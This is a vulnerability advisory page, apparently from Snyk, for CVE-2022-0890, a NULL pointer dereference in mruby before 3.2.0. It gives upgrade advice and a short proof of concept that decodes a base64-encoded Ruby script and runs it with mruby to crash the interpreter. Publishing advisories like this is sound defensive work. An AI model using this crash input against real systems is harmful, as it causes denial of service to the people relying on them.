NULL Pointer Dereference Affecting mruby/mruby package, versions [,3.2.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.06% (29th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about NULL Pointer Dereference vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-MRUBYMRUBY-2420838
  • published10 Mar 2022
  • disclosed10 Mar 2022
  • creditOctavio Gianatiempo, Octavio Galland

Introduced: 10 Mar 2022

CVE-2022-0890  (opens in a new tab)
CWE-476  (opens in a new tab)

How to fix?

Upgrade mruby/mruby to version 3.2.0 or higher.

Overview

Affected versions of this package are vulnerable to NULL Pointer Dereference in the mrb_vm_exec function, crashing the interpreter.

PoC

$ echo -ne 'Yj0iMCIKezA9Pm5pbH0KW11hbmQKYi5jb2RlcG9pbnRze2luc3RhbmNlX2V2YWx7bG9vcC5uZXh0e30KYi5jb2RlcG9pbnRze0ZpYmVyLm5ld3t9LnRyYW5zZmVyKDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwKX19fQ==' | base64 -d > poc
$ mruby poc

References

CVSS Scores

version 3.1